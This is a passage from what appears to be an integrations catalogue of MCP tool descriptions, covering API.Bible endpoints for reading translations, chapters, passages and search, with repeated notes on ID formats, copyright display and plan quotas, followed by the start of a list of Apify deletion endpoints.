IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). COPYRIGHT AND FAIR USE: this response returns verse content, so two obligations attach to it. API.Bible requires the translation's copyright to be displayed alongside any Scripture shown (fetch it with `include-full-details=true` on `apibible_get_bibles` or `apibible_get_bibles_by_bible_id`), and the response's `meta.fumsToken` is the Fair Use Management System token a web app must hand to the FUMS JavaScript wherever the content is displayed. Both are returned exactly as API.Bible sent them; `meta` is never dropped. ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/audio-bibles/{bibleId}/chapters/{chapterId}. Scopes: api. apibible_get_bibles (read) — List available Bibles via GET rest.api.bible/v1/bibles. List the Bible translations this API key is authorised to read, newest licensing first. Narrow by `language` (an ISO 639-3 three-letter code such as `eng`), by `abbreviation` (`KJV`), by `name`, or by `ids` (a comma-separated list of Bible IDs). Pass `include-full-details=true` to receive each Bible's copyright and promotional text, which is what a consumer must display beside the Scripture it shows. This is the tool to call FIRST: it is the only authoritative answer to which translations this particular key may read. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles. Scopes: api. apibible_get_bibles_by_bible_id (read) — Get a Bible via GET rest.api.bible/v1/bibles/{bibleId}. Get one Bible translation by its `bibleId` -- its name, abbreviation, language, description and, when the key is authorised for it, its copyright and licensing text. A Bible this key is not licensed for is refused rather than returned; `apibible_get_bibles` lists the ones it may read. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}. Scopes: api. apibible_get_bibles_by_bible_id_books (read) — List books in a Bible via GET rest.api.bible/v1/bibles/{bibleId}/books. List the books of one Bible translation. `include-chapters=true` adds each book's chapters and `include-chapters-and-sections=true` adds its sections too, which saves a call per book when walking a whole translation. Returns no verse content. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/books. Scopes: api. apibible_get_bibles_by_bible_id_books_by_book_id (read) — Get a book via GET rest.api.bible/v1/bibles/{bibleId}/books/{bookId}. Get one book of one Bible by its three-letter `bookId`, optionally with its chapter list (`include-chapters=true`). Returns no verse content. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/books/{bookId}. Scopes: api. apibible_get_bibles_by_bible_id_books_by_book_id_chapters (read) — List chapters in a book via GET rest.api.bible/v1/bibles/{bibleId}/books/{bookId}/chapters. List the chapters of one book, as chapter summaries carrying each chapter's ID and reference. Returns no verse content -- read a chapter's text with `apibible_get_bibles_by_bible_id_chapters_by_chapter_id`. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/books/{bookId}/chapters. Scopes: api. apibible_get_bibles_by_bible_id_books_by_book_id_sections (read) — List sections in a book via GET rest.api.bible/v1/bibles/{bibleId}/books/{bookId}/sections. List the titled sections of one book -- named verse ranges such as 'The Beginning' (`GEN.S1`). Not every Bible has sections enabled; where they are, they run in order and cover nearly every verse. Returns no verse content. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/books/{bookId}/sections. Scopes: api. apibible_get_bibles_by_bible_id_chapters_by_chapter_id (read) — Get a chapter with its verse content via GET rest.api.bible/v1/bibles/{bibleId}/chapters/{chapterId}. Get one chapter and ALL of its verse text in the `content` field. `content-type` selects the shape of that text -- `html` (the default), `json` or `text`. The `include-notes`, `include-titles`, `include-chapter-numbers`, `include-verse-numbers` and `include-verse-spans` switches control what is embedded in it, and `parallels` (a comma-separated list of Bible IDs) returns the same chapter from other translations alongside. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). COPYRIGHT AND FAIR USE: this response returns verse content, so two obligations attach to it. API.Bible requires the translation's copyright to be displayed alongside any Scripture shown (fetch it with `include-full-details=true` on `apibible_get_bibles` or `apibible_get_bibles_by_bible_id`), and the response's `meta.fumsToken` is the Fair Use Management System token a web app must hand to the FUMS JavaScript wherever the content is displayed. Both are returned exactly as API.Bible sent them; `meta` is never dropped. ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/chapters/{chapterId}. Scopes: api. apibible_get_bibles_by_bible_id_chapters_by_chapter_id_sections (read) — List sections in a chapter via GET rest.api.bible/v1/bibles/{bibleId}/chapters/{chapterId}/sections. List the titled sections that fall within one chapter. Not every Bible has sections enabled. Returns no verse content. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/chapters/{chapterId}/sections. Scopes: api. apibible_get_bibles_by_bible_id_chapters_by_chapter_id_verses (read) — List verses in a chapter via GET rest.api.bible/v1/bibles/{bibleId}/chapters/{chapterId}/verses. List the verses of one chapter as verse summaries carrying each verse's ID and reference. Returns no verse text -- read it with `apibible_get_bibles_by_bible_id_verses_by_verse_id` or fetch the whole chapter at once. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/chapters/{chapterId}/verses. Scopes: api. apibible_get_bibles_by_bible_id_passages_by_passage_id (read) — Get a passage with its verse content via GET rest.api.bible/v1/bibles/{bibleId}/passages/{passageId}. Get an arbitrary verse range and its text. A Passage ID is two Verse IDs joined by `-` and may span chapters and books (`1CO.16.1-2CO.1.23`), up to a limit of 200 verses. `use-org-id=true` matches the ids against each verse's `orgId` rather than its `id`, which is how a reference is resolved across translations that number verses differently. The content switches are the same as for a chapter. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). COPYRIGHT AND FAIR USE: this response returns verse content, so two obligations attach to it. API.Bible requires the translation's copyright to be displayed alongside any Scripture shown (fetch it with `include-full-details=true` on `apibible_get_bibles` or `apibible_get_bibles_by_bible_id`), and the response's `meta.fumsToken` is the Fair Use Management System token a web app must hand to the FUMS JavaScript wherever the content is displayed. Both are returned exactly as API.Bible sent them; `meta` is never dropped. ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/passages/{passageId}. Scopes: api. apibible_get_bibles_by_bible_id_search (read) — Search a Bible via GET rest.api.bible/v1/bibles/{bibleId}/search. Search one translation for verses matching `query` -- comma-separated keywords or a passage reference, with `*` matching any sequence and `?` any single character. `fuzziness` (`AUTO`, `0`, `1`, `2`) absorbs misspellings, `range` limits the search to given Passage IDs, `sort` orders by `relevance` (the default), `canonical` or `reverse-canonical`, and `limit`/`offset` paginate (10 per page by default). `query` is optional in API.Bible's own contract and is faithfully optional here, but a search without one has nothing to match. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). COPYRIGHT AND FAIR USE: this response returns verse content, so two obligations attach to it. API.Bible requires the translation's copyright to be displayed alongside any Scripture shown (fetch it with `include-full-details=true` on `apibible_get_bibles` or `apibible_get_bibles_by_bible_id`), and the response's `meta.fumsToken` is the Fair Use Management System token a web app must hand to the FUMS JavaScript wherever the content is displayed. Both are returned exactly as API.Bible sent them; `meta` is never dropped. ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/search. Scopes: api. apibible_get_bibles_by_bible_id_sections_by_section_id (read) — Get a section with its verse content via GET rest.api.bible/v1/bibles/{bibleId}/sections/{sectionId}. Get one titled section by its `sectionId` together with every verse in it. The content switches are the same as for a chapter. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). COPYRIGHT AND FAIR USE: this response returns verse content, so two obligations attach to it. API.Bible requires the translation's copyright to be displayed alongside any Scripture shown (fetch it with `include-full-details=true` on `apibible_get_bibles` or `apibible_get_bibles_by_bible_id`), and the response's `meta.fumsToken` is the Fair Use Management System token a web app must hand to the FUMS JavaScript wherever the content is displayed. Both are returned exactly as API.Bible sent them; `meta` is never dropped. ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/sections/{sectionId}. Scopes: api. apibible_get_bibles_by_bible_id_verses_by_verse_id (read) — Get a verse with its content via GET rest.api.bible/v1/bibles/{bibleId}/verses/{verseId}. Get one verse and its text. EXPECT MORE THAN ONE VERSE BACK SOMETIMES: translations that group related verses into spans return the whole containing span, which API.Bible documents as intended behaviour rather than an error. `use-org-id=true` matches against the verse's `orgId`. The content switches are the same as for a chapter. ID GRAMMAR: a Bible ID is a 16-character string plus a publication number (`de4e12af7f28f599-01` is the King James Version); a Book ID is a three-letter code (`GEN`, `MRK`, `1JN`); a Chapter ID is a Book ID and a chapter number (`GEN.1`); a Verse ID adds the verse (`GEN.1.1`); a Passage ID is two Verse IDs joined by `-` (`GEN.1.1-GEN.2.3`, at most 200 verses); a Section ID is a Book ID and a section number (`GEN.S1`). COPYRIGHT AND FAIR USE: this response returns verse content, so two obligations attach to it. API.Bible requires the translation's copyright to be displayed alongside any Scripture shown (fetch it with `include-full-details=true` on `apibible_get_bibles` or `apibible_get_bibles_by_bible_id`), and the response's `meta.fumsToken` is the Fair Use Management System token a web app must hand to the FUMS JavaScript wherever the content is displayed. Both are returned exactly as API.Bible sent them; `meta` is never dropped. ACCESS: every API.Bible tool is reachable on every plan -- what a plan decides is WHICH BIBLES this key may read, so the same tool can answer for one translation and refuse another. Starter ($0) grants the Public Domain and Creative Commons repository plus up to three licensed translations and is NON-COMMERCIAL ONLY; Pro ($29+/month) grants all Public Domain and Creative Commons Bibles plus further licensed ones. Call `apibible_get_bibles` to see exactly what this key is authorised for rather than guessing from a Bible ID. The allowance is MONTHLY, not per second -- 5,000 calls/month on Starter and 150,000 on Pro, and unused calls do not roll over -- so waiting does not clear an exhausted quota. GET /api/v1/apibible/bibles/{bibleId}/verses/{verseId}. Scopes: api. ================================================================================ ## Apify URL: https://www.agenticfabriq.com/integrations/apify Section: Integrated Tools Apify — 227 MCP tools Provider key: apify. Scopes: read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. apify_delete_v2_actor_builds_by_buildid (write, destructive) — Delete the build. The build that is the current default build for the Actor cannot be deleted. Only users with build permissions for the Actor can delete builds. via DELETE /v2/actor-builds/{buildId} DELETE /api/v1/apify/v2/actor-builds/{buildId}. Scopes: write. apify_delete_v2_actor_runs_by_runid (write, destructive) — Delete the run. Only finished runs can be deleted. Only the person or organization that initiated the run can delete it. via DELETE /v2/actor-runs/{runId} DELETE /api/v1/apify/v2/actor-runs/{runId}. Scopes: write. apify_delete_v2_actor_runs_by_runid_dataset (write, destructive) — Deletes default dataset associated with an Actor run. This endpoint is a shortcut for getting the last run's `defaultDatasetId` and then using the [ Delete dataset ](/api/v2/dataset-delete) endpoint. via DELETE /v2/actor-runs/{runId}/dataset DELETE /api/v1/apify/v2/actor-runs/{runId}/dataset. Scopes: write. apify_delete_v2_actor_runs_by_runid_key_value_store (write, destructive) — Delete the default key-value store. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Delete store](/api/v2/key-value-store-delete) endpoint. via DELETE /v2/actor-runs/{runId}/key-value-store DELETE /api/v1/apify/v2/actor-runs/{runId}/key-value-store. Scopes: write. apify_delete_v2_actor_runs_by_runid_key_value_store_records_by_recordkey (write, destructive) — Removes a record specified by a key from the default key-value store of the Actor run. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Delete record](/api/v2/key-value-store-record-delete) endpoint. via DELETE /v2/actor-runs/{runId}/key-value-store/records/{recordKey} DELETE /api/v1/apify/v2/actor-runs/{runId}/key-value-store/records/{recordKey}. Scopes: write. apify_delete_v2_actor_runs_by_runid_request_queue (write, destructive) — Deletes the default request queue associated with an Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Delete request queue](/api/v2/request-queue-delete) endpoint. via DELETE /v2/actor-runs/{runId}/request-queue DELETE /api/v1/apify/v2/actor-runs/{runId}/request-queue. Scopes: write. apify_delete_v2_actor_runs_by_runid_request_queue_requests_batch (write, destructive) — Batch-deletes requests from the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Delete requests](/api/v2/request-queue-requests-batch-delete) endpoint. via DELETE /v2/actor-runs/{runId}/request-queue/requests/batch DELETE /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/batch. Scopes: write. apify_delete_v2_actor_runs_by_runid_request_queue_requests_by_requestid (write, destructive) — Deletes a request from the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Delete request](/api/v2/request-queue-request-delete) endpoint. via DELETE /v2/actor-runs/{runId}/request-queue/requests/{requestId} DELETE /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/{requestId}. Scopes: write. apify_delete_v2_actor_runs_by_runid_request_queue_requests_by_requestid_lock (write, destructive) — Deletes a request lock in the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Delete request lock](/api/v2/request-queue-request-lock-delete) endpoint. via DELETE /v2/actor-runs/{runId}/request-queue/requests/{requestId}/lock DELETE /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/{requestId}/lock. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid (write, destructive) — Delete the task specified through the `actorTaskId` parameter. via DELETE /v2/actor-tasks/{actorTaskId} DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid_runs_last_dataset (write, destructive) — Deletes the default dataset associated with the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultDatasetId` and then using the [Delete dataset](/api/v2/dataset-delete) endpoint. via DELETE /v2/actor-tasks/{actorTaskId}/runs/last/dataset DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/dataset. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid_runs_last_key_value_store (write, destructive) — Deletes the default key-value store of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Delete store](/api/v2/key-value-store-delete) endpoint. via DELETE /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid_runs_last_key_value_store_records_by_recordkey (write, destructive) — Removes a record specified by a key from the default key-value store of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Delete record](/api/v2/key-value-store-record-delete) endpoint. via DELETE /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey} DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey}. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid_runs_last_request_queue (write, destructive) — Deletes the default request queue associated with the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Delete request queue](/api/v2/request-queue-delete) endpoint. via DELETE /v2/actor-tasks/{actorTaskId}/runs/last/request-queue DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_batch (write, destructive) — Batch-deletes requests from the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Delete requests](/api/v2/request-queue-requests-batch-delete) endpoint. via DELETE /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/batch DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/batch. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_by_requestid (write, destructive) — Deletes a request from the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Delete request](/api/v2/request-queue-request-delete) endpoint. via DELETE /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId} DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId}. Scopes: write. apify_delete_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_by_requestid_lock (write, destructive) — Deletes a request lock in the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Delete request lock](/api/v2/request-queue-request-lock-delete) endpoint. via DELETE /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId}/lock DELETE /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId}/lock. Scopes: write. apify_delete_v2_actors_by_actorid (write, destructive) — Deletes an Actor with the specified ID. via DELETE /v2/actors/{actorId} DELETE /api/v1/apify/v2/actors/{actorId}. Scopes: write. apify_delete_v2_actors_by_actorid_runs_last_dataset (write, destructive) — Deletes the default dataset associated with the last Actor run. This endpoint is a shortcut for getting the last run's `defaultDatasetId` and then using the [Delete dataset](/api/v2/dataset-delete) endpoint. via DELETE /v2/actors/{actorId}/runs/last/dataset DELETE /api/v1/apify/v2/actors/{actorId}/runs/last/dataset. Scopes: write. apify_delete_v2_actors_by_actorid_runs_last_key_value_store (write, destructive) — Deletes the last Actor run key-value store. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Delete store](/api/v2/key-value-store-delete) endpoint. via DELETE /v2/actors/{actorId}/runs/last/key-value-store DELETE /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store. Scopes: write. apify_delete_v2_actors_by_actorid_runs_last_key_value_store_records_by_recordkey (write, destructive) — Removes a record specified by a key from the default key-value store of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultKeyValueStoreId` and then using the [Delete record](/api/v2/key-value-store-record-delete) endpoint. via DELETE /v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey} DELETE /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey}. Scopes: write. apify_delete_v2_actors_by_actorid_runs_last_request_queue (write, destructive) — Deletes the default request queue associated with the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Delete request queue](/api/v2/request-queue-delete) endpoint. via DELETE /v2/actors/{actorId}/runs/last/request-queue DELETE /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue. Scopes: write. apify_delete_v2_actors_by_actorid_runs_last_request_queue_requests_batch (write, destructive) — Batch-deletes requests from the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Delete requests](/api/v2/request-queue-requests-batch-delete) endpoint. via DELETE /v2/actors/{actorId}/runs/last/request-queue/requests/batch DELETE /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/batch. Scopes: write. apify_delete_v2_actors_by_actorid_runs_last_request_queue_requests_by_requestid (write, destructive) — Deletes a request from the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Delete request](/api/v2/request-queue-request-delete) endpoint. via 